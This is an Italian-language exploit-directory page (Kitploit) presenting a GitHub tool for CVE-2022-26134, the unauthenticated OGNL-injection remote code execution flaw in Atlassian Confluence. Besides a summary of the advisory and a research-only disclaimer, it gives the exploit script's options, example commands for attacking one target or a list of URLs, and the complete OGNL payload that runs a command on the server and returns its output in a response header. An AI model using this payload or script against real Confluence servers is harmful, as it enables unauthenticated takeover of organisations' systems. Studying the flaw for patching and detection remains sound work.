Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-26134 — Esecuzione di codice remoto pre-autenticazione di Confluence tramite Iniezione OGNL (CVE-2022-26134) | Kitploit
Strumenti/GitHubGitHub/hev0x/cve-2022-26134
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubhev0x/cve-2022-26134

CVE-2022-26134

Esecuzione di codice remoto pre-autenticazione di Confluence tramite Iniezione OGNL (CVE-2022-26134)

Vedi Repository
441324 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Confluence - Esecuzione di codice remoto pre-autenticazione tramite OGNL Injection (CVE-2022-26134)

Confluence - Esecuzione di codice remoto pre-autenticazione tramite OGNL Injection (CVE-2022-26134)

  • Il 2 giugno 2022 Atlassian ha pubblicato un avviso di sicurezza per le applicazioni Confluence Server e Data Center, segnalando una vulnerabilità critica di esecuzione di codice remoto non autenticata. La vulnerabilità di OGNL injection consente a un utente non autenticato di eseguire codice arbitrario su un'istanza Confluence Server o Data Center.

IMPORTANTE

Questo exploit è inteso solo per facilitare le dimostrazioni della vulnerabilità da parte dei ricercatori. Non raccomando azioni illegali e non mi assumo alcuna responsabilità per qualsiasi uso malevolo di questo script.

• Esempio di richiesta

BurpRequest

Utilizzo dell'exploit

root@kitploit:~
python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

Exploit target singolo:

$ python3 exploit.py -u http://xxxxx.com -c id

xpl1

Exploit multitarget

$ python3 exploit.py -f urls.txt -p -c id

xpl2

Espressione OGNL

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Riferimenti:

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

Scarica lo strumento